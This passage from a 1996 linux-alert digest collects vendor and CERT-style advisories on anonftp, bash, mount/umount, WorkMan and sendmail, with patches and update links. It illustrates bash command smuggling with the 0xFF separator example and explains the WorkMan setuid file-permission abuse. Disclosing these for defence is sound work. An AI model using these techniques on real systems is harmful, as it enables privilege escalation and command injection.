'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Sparc, get ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/anonftp-2.2-2.sparc.rpm and install it using 'rpm -Uvh [filename]' All packages are PGP signed. Source packages are available in the usual locations. MD5 checksums: ea1798199eb426695c6d4c2ad4106422 anonftp-2.0-2.axp.rpm 764ee004e25c3e278290820dbd58cc58 anonftp-2.0-2.i386.rpm cb0b1905ab8d389d64677519913346a5 anonftp-2.0-2.src.rpm c14af78ec7d5083b54e61f973ca7c6fb anonftp-2.2-2.i386.rpm 760cb3d5bb37c618f1b84f1aa0f5ea53 anonftp-2.2-2.sparc.rpm a2f3fb6e06fca1485e3f11e5e04f83d8 anonftp-2.2-2.src.rpm Thanks to Alan Cox for finding this problem. - -- Elliot Lee Red Hat Software, http://www.redhat.com/ ------------------------------ From: Elliot Lee Date: Mon, 19 Aug 1996 18:57:03 -0400 (EDT) Subject: [linux-alert] SECURITY FIX/UPDATE: anonftp - -----BEGIN PGP SIGNED MESSAGE----- There is a security hole in the anonftp package included with all versions of Red Hat Linux that allows an anonymous FTP user to execute arbitrary commands in the chroot FTP environment. Due to some options in GNU tar that are enabled by default, any program that exists (or can be uploaded to) an FTP server can be run. Severity is limited due to the chroot environment, but the problem still needs to be addressed. Updates are available on ftp.redhat.com now. If you are using a version prior to 3.0.3, an upgrade is recommended to solve other security holes. If you are using 3.0.3 on the Intel, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/anonftp-2.0-2.i386.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.3 on the Alpha, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/anonftp-2.0-2.axp.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Intel, get ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/anonftp-2.2-2.i386.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Sparc, get ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/anonftp-2.2-2.sparc.rpm and install it using 'rpm -Uvh [filename]' All packages are PGP signed. Source packages are available in the usual locations. MD5 checksums: ea1798199eb426695c6d4c2ad4106422 anonftp-2.0-2.axp.rpm 764ee004e25c3e278290820dbd58cc58 anonftp-2.0-2.i386.rpm cb0b1905ab8d389d64677519913346a5 anonftp-2.0-2.src.rpm c14af78ec7d5083b54e61f973ca7c6fb anonftp-2.2-2.i386.rpm 760cb3d5bb37c618f1b84f1aa0f5ea53 anonftp-2.2-2.sparc.rpm a2f3fb6e06fca1485e3f11e5e04f83d8 anonftp-2.2-2.src.rpm Thanks to Alan Cox for finding this problem. - - -- Elliot Lee Red Hat Software, http://www.redhat.com/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhjxQiaSlK8942+NAQEngAQAgQDpcY4zYyvegaYQrAx1pW9w2IEeHqE5 yyeRre2rUsWBKVjizDttz+JO130+/2cZjjG0bpDzKeZidkENZGkHzlIP+lQLDAuG jZ8rBqAdaEXmRUwZJzjwmEfBM218Z/W+fSrPj/w0CMqCn1THwJN4Vu6xaZ8TkxGf 2cI2lMO7XkQ= =qu3w - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #13 ******************************** linux-alert-digest/v02.n014100664 1767 1767 53327 6211674224 14713 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #14 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Friday, 30 August 1996 Volume 02 : Number 014 [linux-alert] Security vulnerability in 'bash' [linux-alert] Re: [linux-security] RESOLV_HOST_CONF [linux-alert] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5 ---------------------------------------------------------------------- From: Jeff Uphoff Date: Sat, 24 Aug 1996 19:18:51 -0400 Subject: [linux-alert] Security vulnerability in 'bash' - --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-- - ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE--- ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 21 August 1996 13:00 GMT Number: ERS-SVA-E01-1996:004.1 =============================================================================== VULNERABILITY SUMMARY VULNERABILITY: A variable declaration error in "bash" allows the character with value 255 decimal to be used as a command separator. PLATFORMS: Bash 1.14.6 and earlier versions. SOLUTION: Apply the patch provided below. THREAT: When used in environments where users provide strings to be used as commands or arguments to commands, "bash" can be tricked into executing arbitrary commands. =============================================================================== DETAILED INFORMATION I. Description A. Introduction The GNU Project's Bourne Again SHell ("bash") is a drop-in replacement for the UNIX Bourne shell (/bin/sh). It offers the same syntax as the standard shell, but also includes additional functionality such as job control, command line editing, and history. Although "bash" can be compiled and installed on almost any UNIX platform, its most prevalent use is on "free" versions of UNIX such as Linux, where it has been installed as "/bin/sh" (the default shell for most uses). The "bash" source code is freely available from many sites on the Internet. B. Vulnerability Details There is a variable declaration error in the "yy_string_get()" function in the "parser.y" module of the "bash" source code. This function is responsible for parsing the user-provided command line into separate tokens (commands, special characters, arguments, etc.). The error involves the variable "string," which has been declared to be of type "char *." The "string" variable is used to traverse the character string containing the command line to be parsed. As characters are retrieved from this pointer, they are stored in a variable of type "int." On systems/compilers where the "char" type defaults to "signed char", this vaule will be sign-extended when it is assigned to the "int" variable. For character code 255 decimal (-1 in two's complement form), this sign extension results in the value (-1) being assigned to the integer. However, (-1) is used in other parts of the parser to indicate the end of a command. Thus, the character code 255 decimal (377 octal) will serve as an unintended command separator for commands given to "bash" via the "-c" option. For example, bash -c 'ls\377who' (where "\377" represents the single character with value 255 decimal) will execute two commands, "ls" and "who." II. Impact This unexpected command separator can be dangerous, especially on systems such as Linux where "bash" has been installed as "/bin/sh," when a program executes a command with a string provided by a user as an argument using the "system()" or "popen()" functions (or by calling "/bin/sh -c string" directly). This is especially true for the CGI programming interface in World Wide Web servers, many of which do not strip out characters with value 255 decimal. If a user sending data to the server can specify the character code 255 in a string that is passed to a shell, and that shell is "bash," the user can execute any arbitrary command with the user-id and permissions of the user running the server (frequently "root"). The "bash" built-in commands "eval," "source," and "fc" are also potentially vulnerable to this problem. III. Solutions A. How to alleviate the problem This problem can be alleviated by changing the declaration of the "string" variable in the "yy_string_get()" function from "char *" to "unsigned char *." B. Official fix from the "bash" maintainers The "bash" maintainers have told us they plan to fix this problem in Version 2.0 of "bash," but this will not be released for at least a few more months. C. Unofficial fix until the official version is released Until the "bash" maintainers release Version 2.0, this problem can be fixed by applying the patch below to the "bash" source code, recompiling the program, and installing the new version. The patch below is for Version 1.14.6 of "bash." Source code for this version can be obtained from ftp://prep.ai.mit.edu/pub/gnu/bash-1.14.6.tar.gz as well as many other sites around the Internet. - ---------------------------------- cut here - ---------------------------------- *** parse.y.old Thu Nov 2 15:00:51 1995 - --- parse.y Tue Aug 20 09:16:48 1996 *************** *** 904,910 **** static int yy_string_get () { ! register char *string; register int c; string = bash_input.location.string; - --- 904,910 ---- static int yy_string_get () { ! register unsigned char *string; register int c; string = bash_input.location.string; - ---------------------------------- cut here - ---------------------------------- To apply this patch, save the text between the two "--- cut here ---" lines to a file, change directories to the "bash" source directory, and issue the command patch < filename If you do not have the "patch" program, you can obtain it from ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz or you can apply the patch by hand. After applying the patch, recompile and reinstall the "bash" program by following the directions in the "INSTALL" file, included as part of the "bash" distribution. This patch is provided "AS IS" without warranty of any kind, including, without limitation, any implied warranties of merchantibility or fitness for a particular purpose. This advisory does not create or imply any support obligations or any other liability on the part of IBM or its subsidiaries. IV. Acknowledgements IBM-ERS would like to thank the IBM Global Security Analysis Laboratory at the IBM T. J. Watson Research Center for their discovery of this vulnerability, bringing it to our attention, providing the patch to fix it, and assistance in developing this alert. UNIX is a technology trademark of X/Open Company, Ltd. =============================================================================== IBM's Internet Emergency Response Service (IBM-ERS) is a subscription-based Internet security response service that includes computer security incident response and management, regular electronic verification of your Internet gateway(s), and security vulnerability alerts similar to this one that are tailored to your specific computing environment. By acting as an extension of your own internal security staff, IBM-ERS's team of Internet security experts helps you quickly detect and respond to attacks and exposures across your Internet connection(s). As a part of IBM's Business Recovery Services organization, the IBM Internet Emergency Response Service is a component of IBM's SecureWay(tm) line of security products and services. From hardware to software to consulting, SecureWay solutions can give you the assurance and expertise you need to protect your valuable business resources. To find out more about the IBM Internet Emergency Response Service, send an electronic mail message to [email protected], or call 1-800-742-2493 (Prompt 4). IBM-ERS maintains a site on the World Wide Web at http://www.ers.ibm.com/. Visit the site for information about the service, copies of security alerts, team contact information, and other items. IBM-ERS uses Pretty Good Privacy* (PGP*) as the digital signature mechanism for security vulnerability alerts and other distributed information. The IBM-ERS PGP* public key is available from http://www.ers.ibm.com/team-info/pgpkey.html. "Pretty Good Privacy" and "PGP" are trademarks of Philip Zimmerman. IBM-ERS is a Member Team of the Forum of Incident Response and Security Teams (FIRST), a global organization established to foster cooperation and response coordination among computer security teams worldwide. Copyright 1996 International Business Machines Corporation. The information in this document is provided as a service to customers of the IBM Emergency Response Service. Neither International Business Machines Corporation, Integrated Systems Solutions Corporation, nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process contained herein, or represents that its use would not infringe any privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by IBM or its subsidiaries. The views and opinions of authors expressed herein do not necessarily state or reflect those of IBM or its subsidiaries, and may not be used for advertising or product endorsement purposes. The material in this security alert may be reproduced and distributed, without permission, in whole or in part, by other security incident response teams (both commercial and non-commercial), provided the above copyright is kept intact and due credit is given to IBM-ERS. This security alert may be reproduced and distributed, without permission, in its entirety only, by any person provided such reproduction and/or distribution is performed for non-commercial purposes and with the intent of increasing the awareness of the Internet community. - ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE--- - --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-- ------------------------------ From: David Holland Date: Mon, 26 Aug 1996 03:49:14 -0400 (EDT) Subject: [linux-alert] Re: [linux-security] RESOLV_HOST_CONF > >Real Patch isn't really available yet, from what i can see. You can modify > > *ahem* for the most part, yes it is... NetKit-B-0.08 has at least ping and > others (?) fixed, but for some strange reason, he didn't bother to fix > finger tho... :\ The bug's in the library. The setuid programs in the current netkit contain a *workaround*. These are not fixes. Fixes are in the works. Be sure to update your netkit, though, as it fixes related bugs in telnetd that have the possibility of being quite serious. [You can use finger to read any file that you can already read yourself... Every single network tool will exhibit this "problem".] > ftp.linux.org.co.uk:/pub/linux/Networking/base/NetKit-B-0.08.tar.gz ^^ just .org, not .co as well. And the official name is 'ftp.uk.linux.org' now anyway. > until a newer one comes out that patches finger, anyway... Don't hold your breath. :-) - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: "Alexander O. Yuriev" Date: Tue, 27 Aug 1996 17:57:21 -0400 Subject: [linux-alert] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5 - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update mount/umount Vulnerability Mon Aug 26 21:46:49 EDT 1996 Copyright (C) 1995,1996 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official Update of the Linux Security FAQ, and it is supposed to be signed by one of the following PGP keys: pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the mount/umount programs of the util-linux 2.5 package. If installed suid-to-root, these programs allow local users to gain super-user privileges. RISK ASSESSMENT Local users can gain root privileges. The exploits that exercise this vulnerability were made available. VULNERABILITY ANALYSIS mount/umount utilities from the util-linux 2.5 suffer from the buffer overrun problem. Installing mount/umount as suid-to-root programs is necessary to allow local users to mount and unmount removable media without having super-user privileges. If this feature is not required, it is recommended that suid bit is removed from both mount and umount programs. If this feature is required, one might want to consider the other ways of implementing it. Such approaches include but are not limited to using auto-mounter or sudo mechanism. DISTRIBUTION FIXES Red Hat Commercial Linux RedHat 2.1, RedHat 3.0.3 (Picasso) and RedHat 3.0.4 (Rembrandt) contain vulnerable umount utilities. Red Hat Software advises users of Red Hat 2.1 to upgrade to Red Hat 3.0.3 (Picasso) The replacement RPMs are available from the following URLs: Red Hat Linux 3.0.3 (Picasso) i386 architecture ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/util-linux-2.5-11fix.i386.rpm ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/mount-2.5k-1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.i386.rpm RedHat Linux 3.0.3 (Picasso) Alpha architecture ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/util-linux-2.5-11fix.axp.rpm ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/mount-2.5k-1.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.axp.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.axp.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.axp.rpm RedHat Linux 3.0.4 Beta (Rembrandt) i386 architecture ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/mount-2.5k-2.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.i386.rpm RedHat Linux 3.0.4 Beta (Rembrandt) SPARC architecture ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/mount-2.5k-2.sparc.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.sparc.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.sparc.rpm Please verify the MD5 fingerprint of the RPMs prior to installing them. ad9b0628b6af9957d7b5eb720bbe632b mount-2.5k-1.axp.rpm 12cb19ec4b3060f8d1cedff77bda7c05 util-linux-2.5-11fix.axp.rpm 26506a3c0066b8954d80deff152e0229 mount-2.5k-1.i386.rpm f48c6bf901dd5d2c476657d6b75b12a5 util-linux-2.5-11fix.i386.rpm 7337f8796318f3b13f2dccb4a8f10b1a mount-2.5k-2.i386.rpm e68ff642a7536f3be4da83eedc14dd76 mount-2.5k-2.sparc.rpm The Red Hat Software Inc notes that the only difference between mount-2.5k-1 and mount-2.5k-2 is in the packaging format. Caldera Network Desktop Caldera Network Desktop version 1.0 contains vulnerable mount and umount programs. Caldera Inc issued Caldera Security Advisory 96.04 where it recommends removing setuid bit from mount and umount commands using command chmod 755 /bin/mount /bin/umount. Users of Caldera Network Desktop 1.0 upgraded to RedHat 3.0.3 (Picasso) are advised to follow the instructions in the Red Hat Commercial Linux section of this LSF Update. Debian Debian/GNU Linux 1.1 contains the vulnerable mount/umount programs. The Debian Project provided the information that an updated package fixes this problem. The fix-kit can be obtained from the following URLs: ftp://ftp.debian.org/debian/stable/binary-i386/base/mount_2.5l-1.deb ftp://bach.cis.temple.edu/Linux/Security/DISTRIBUTION-FIXES/Debian/mount_2.5l-1.deb ftp://tarsier.cv.nrao.edu/linux/Security/DISTRIBUTION-FIXES/Debian/mount_2.5l-1.deb Please verify the MD5 signature of the RPM prior to installing the fix-kit 6672530030f9a6c42451ace74c7510ca mount_2.5l-1.deb WARNING: The message that contained information about MD5 hash of the mount_2.5l-1.deb package was not signed. We were unable to verify the integrity of the message. Slackware There is no official information available about vulnerability of Slackware 3.0 or Slackware 3.1 distributions from distribution maintainer. The testing indicates that both Slackware 3.0 and Slackware 3.1 distributions contains the vulnerable mount and umount programs. Until the official fix-kit for Slackware 3.0 and 3.1 becomes available system administrators are advised to follow the instructions in the Other Linux Distributions section of this LSF Update Yggdrasil Yggdrasil Computing Inc neither confirmed not denied vulnerability of Plug and Play Fall'95 Linux. The testing indicates that Plug and Play Fall'95 Linux distribution contains the vulnerable mount and umount program. Until the official fix-kit for Yggdrasil Plug and Play Linux becomes available system administrators are advised to follow the instructions in the Other Linux Distributions section of this LSF Update Other Linux Distributions It is believed at this moment that all Linux distributions using util-linux version 2.5 or prior to that contain the vulnerable mount and umount programs. Administrators of systems based on distributions not listed in this LSF Update or distributions that do not have fix-kits available at the moment are urged to contact their support centers requesting the fix-kits to be made available to them. In order to prevent the vulnerability from being exploited in the mean time, it is recommended that the suid bit is removed from mount and umount programs using command chmod u-s /bin/mount /bin/umount Until the official fix-kits are available for those systems, it is advised that system administrators obtain the source code of fixed mount program used in Debian/GNU Linux 1.1, compile it and replace the vulnerable binaries. The URLs for the source code of the Debian/GNU Linux 1.1 package which fixes the security problem of mount utility can be obtained from the following URLs: ftp://ftp.debian.org/debian/stable/source/base/mount_2.5l-1.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/OTHER/mount_2.5l-1.tar.gz ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/OTHER/mount_2.5l-1.tar.gz Warning: We did not receive MD5 hash of the mount_2.5l-1.tar.gz file. CREDITS This LSF Update is based on the information originally posted to linux-alert. The information on the fix-kit for Red Hat commercial Linux was provided by Elliot Lee ([email protected]) or Red Hat Software Inc,; for the Caldera Network Desktop by Ron Holt of Caldera Inc.; for Debian/GNU Linux 1.1 by Guy Maor ([email protected]) - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMiNugoxFUz2t8+6VAQFyMgP+O6rJMZ8FHM2dyS+SY5D92837zjAwgMDk lNRaxrntFx/sZmyTpejERB1pu/uTRR+O2TJrB5s7mteLbB7wuuJNa38R4GuEBAOy 8dQ/pl+2vNQmqK7iwtMDGBNRda027tvBWO9vjxzqCKwHEiDSFQJ4hkM03oAwhmYi z1pegn80gsE= =zMIM - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #14 ******************************** linux-alert-digest/v02.n015100664 1767 1767 107566 6220245754 14743 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #15 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Thursday, 19 September 1996 Volume 02 : Number 015 [linux-alert] CIAC Bulletin G-42:Vulnerability in WorkMan Program [linux-alert] CERT Advisory CA-96.20 - Sendmail Vulnerabilities ---------------------------------------------------------------------- From: Marcey Kelley Date: Mon, 2 Sep 1996 22:47:43 -0500 Subject: [linux-alert] CIAC Bulletin G-42:Vulnerability in WorkMan Program [Mod: Forwarded from Bugtraq. --Jeff.] - -----BEGIN PGP SIGNED MESSAGE----- __________________________________________________________ The U.S. Department of Energy Computer Incident Advisory Capability ___ __ __ _ ___ / | /_\ / \___ __|__ / \ \___ __________________________________________________________ INFORMATION BULLETIN Vulnerability in WorkMan Program August 29, 1996 15:00 GMT Number G-42 ______________________________________________________________________________ PROBLEM: When the "WorkMan" compact disc playing program is installed set-user-id "root", it can be used to make any file on the system world-writable. PLATFORM: Linux, UNIX System V Release 4.0 (and derivatives). DAMAGE: A non-privileged user can use "WorkMan" to make any file on the system world-writable, and then modify that file's contents. This vulnerbility can allow the user to create accounts, destroy log files, and perform other unauthorized actions. SOLUTION: Apply the patches listed in the vendor bulletin below. ______________________________________________________________________________ VULNERABILITY This vulnerability is becoming widely known. ASSESSMENT: ______________________________________________________________________________ [Begin IBM Bulletin] - - - --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-ERS-ALERT - - - ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 28 August 1996 18:00 GMT Number: ERS-SVA-E01-1996:005.1 ============================================================================= VULNERABILITY SUMMARY VULNERABILITY: When the "WorkMan" compact disc playing program is installed set-user-id "root," it can be used to make any file on the system world-writable. PLATFORMS: Linux, UNIX System V Release 4.0 (and derivatives) SOLUTION: Remove the set-user-id bit from the "workman" program. THREAT: A non-privileged user can use "WorkMan" to make any file on the system world-writable, and then modify that file's contents. ============================================================================= DETAILED INFORMATION NOTE: This advisory is NOT a re-hash of the problem reported on several lists earlier this week by a group calling itself "r00t." The vulnerability described by "r00t" is essentially a subset of the problem described in this alert. I. Description "WorkMan" is a popular program used for playing audio compact disks on local workstation CD-ROM drives that is widely available from many sites around the Internet. Versions of "WorkMan" are also included with some operating system distributions, such as Linux. On systems where "WorkMan" was built and installed using the procedures that are given in "Makefile.linux" or "Makefile.svr4" (in general, this means on Linux systems and UNIX System V Release 4.0 systems), the "workman" program is installed set-user-id "root." This means that when the program is run, it will execute with super-user permissions. In order to allow signals to be sent to it, "WorkMan" writes its process-id to a file called "/tmp/.wm_pid." The "-p" option to the program allows the user to specify a different file name in which to record this information. When a file is specified with "-p", "WorkMan" simply attempts to create and/or truncate the file, and if this succeeds, "WorkMan" changes the permissions on the file so that it is world-readable and world-writable. In the general case, when "WorkMan" is installed without the set-user-id bit set, the normal file access permissions provided by the operating system will prevent users from creating or truncating files they are not authorized to create or truncate. However, when "WorkMan" is installed set-user-id "root," this process breaks down (because "root" is allowed to create/truncate any file). II. Impact A user executing a set-user-id "root" version of "WorkMan" can use the "-p" option to create a file anywhere in the file system, or to truncate any file in the file system. More importantly, the file specified with "-p" will be world-readable and world-writable when "WorkMan" is finished. This can enable the user to create accounts, destroy log files, and perform other unauthorized actions. III. Solutions "WorkMan" does not require the set-user-id bit to work; it is installed this way only on systems that do not make the CD-ROM device file world-readable by default. This vulnerability can be alleviated by: 1) Removing the set-user-id bit from the "WorkMan" program, via a command such as chmod u-s /usr/local/bin/workman and 2) Making the CD-ROM device world-readable, via a command such as chmod +r /dev/cdrom Note that on multi-user systems, part (2) of the above procedure will allow any user to access the contents of the disc installed in the CD-ROM; this may not be desirable in all environments. IV. Acknowledgements IBM-ERS would like to thank the IBM Global Security Analysis Laboratory at the IBM T. J. Watson Research Center for their discovery of this vulnerability, bringing it to our attention, providing the steps to fix it, and assistance in developing this alert. UNIX is a technology trademark of X/Open Company, Ltd. =============================================================================== [End IBM Bulletin] _______________________________________________________________________________ CIAC wishes to acknowledge the contributions of IBM for the information contained in this bulletin. _______________________________________________________________________________ CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide. CIAC services are available to DOE, DOE contractors, and the NIH. CIAC can be contacted at: Voice: +1 510-422-8193 FAX: +1 510-423-8002 STU-III: +1 510-423-2604 E-mail: [email protected] For emergencies and off-hour assistance, DOE, DOE contractor sites, and the NIH may contact CIAC 24-hours a day. During off hours (5PM - 8AM PST), call the CIAC voice number 510-422-8193 and leave a message, or call 800-759-7243 (800-SKY-PAGE) to send a Sky Page. CIAC has two Sky Page PIN numbers, the primary PIN number, 8550070, is for the CIAC duty person, and the secondary PIN number, 8550074 is for the CIAC Project Leader. Previous CIAC notices, anti-virus software, and other information are available from the CIAC Computer Security Archive. World Wide Web: http://ciac.llnl.gov/ Anonymous FTP: ciac.llnl.gov (128.115.19.53) Modem access: +1 (510) 423-4753 (28.8K baud) +1 (510) 423-3331 (28.8K baud) CIAC has several self-subscribing mailing lists for electronic publications: 1. CIAC-BULLETIN for Advisories, highest priority - time critical information and Bulletins, important computer security information; 2. CIAC-NOTES for Notes, a collection of computer security articles; 3. SPI-ANNOUNCE for official news about Security Profile Inspector (SPI) software updates, new features, distribution and availability; 4. SPI-NOTES, for discussion of problems and solutions regarding the use of SPI products. Our mailing lists are managed by a public domain software package called ListProcessor, which ignores E-mail header subject lines. To subscribe (add yourself) to one of our mailing lists, send the following request as the E-mail message body, substituting CIAC-BULLETIN, CIAC-NOTES, SPI-ANNOUNCE or SPI-NOTES for list-name and valid information for LastName FirstName and PhoneNumber when sending E-mail to [email protected]: subscribe list-name LastName, FirstName PhoneNumber e.g., subscribe ciac-notes OHara, Scarlett W. 404-555-1212 x36 You will receive an acknowledgment containing address, initial PIN, and information on how to change either of them, cancel your subscription, or get help. PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing communities receive CIAC bulletins. If you are not part of these communities, please contact your agency's response team to report incidents. Your agency's team will coordinate with CIAC. The Forum of Incident Response and Security Teams (FIRST) is a world-wide organization. A list of FIRST member organizations and their constituencies can be obtained by sending email to [email protected] with an empty subject line and a message body containing the line: send first-contacts. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC) G-32: HP-UX Vulnerabilities in expreserve, rpc.pcnfsd, rpc.statd G-33: rdist vulnerability G-34: HP-UX Vulnerabilities (netttune, SAM remote admin) G-35: SUN Microsystems Solaris vold Vulnerability G-36: HP-UX Vulnerabilities in elm and rdist Programs G-37: Vulnerability in Adobe FrameMaker (fm_fls) G-38: Linux Vulnerabilities in mount and umount Programs G-39: Vulnerability in expreserve G-40: SGI admin and user Program Vulnerabilities G-41: Vulnerability in BASH Program RECENT CIAC NOTES ISSUED (Previous Notes available from CIAC) Notes 07 - 3/29/95 A comprehensive review of SATAN Notes 08 - 4/4/95 A Courtney update Notes 09 - 4/24/95 More on the "Good Times" virus urban legend Notes 10 - 6/16/95 PKZ300B Trojan, Logdaemon/FreeBSD, vulnerability in S/Key, EBOLA Virus Hoax, and Caibua Virus Notes 11 - 7/31/95 Virus Update, Hats Off to Administrators, America On-Line Virus Scare, SPI 3.2.2 Released, The Die_Hard Virus Notes 12 - 9/12/95 Securely configuring Public Telnet Services, X Windows, beta release of Merlin, Microsoft Word Macro Viruses, Allegations of Inappropriate Data Collection in Win95 Notes 96-01 - 3/18/96 Java and JavaScript Vulnerabilities, FIRST Conference Announcement, Security and Web Search Engines, Microsoft Word Macro Virus Update - -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition iQCVAgUBMicE47nzJzdsy3QZAQGRCQQAiA9WGkaF14qx8/7X3qvEicuv23dBgrlV siE/Jcq7yBMtuDCThMk9nDbDf1fGLUyysZ/MeeS9ybBpWJxzgWL2iXP9f0yBRtap siGX0ij+7LKrexR5nWBsdf7jZF34qaqU8xRlBHxbC7QiZIZD7SMtl9ZYBsflN8nP CFT0bTnpUOk= =PYbw - -----END PGP SIGNATURE----- ------------------------------ From: CERT Advisory Date: Wed, 18 Sep 1996 10:34:33 -0400 Subject: [linux-alert] CERT Advisory CA-96.20 - Sendmail Vulnerabilities - -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.20 Original issue date: September 18, 1996 Last revised: -- Topic: Sendmail Vulnerabilities - - ----------------------------------------------------------------------------- *** This advisory supersedes CA-95:05 *** The CERT Coordination Center has received reports of two security problems in sendmail that affect all versions up to and including 8.7.5. By exploiting the first of these vulnerabilities, users who have local accounts can gain access to the default user, which is often daemon. By exploiting the second vulnerability, any local user can gain root access. The CERT/CC team recommends installing vendor patches or upgrading to the current version of sendmail (8.7.6). Until you can do so, we urge you to apply the workaround provided in Sec. III.C. In all cases, be sure to take the extra precautions listed in Sec. III.D. For beta testers of 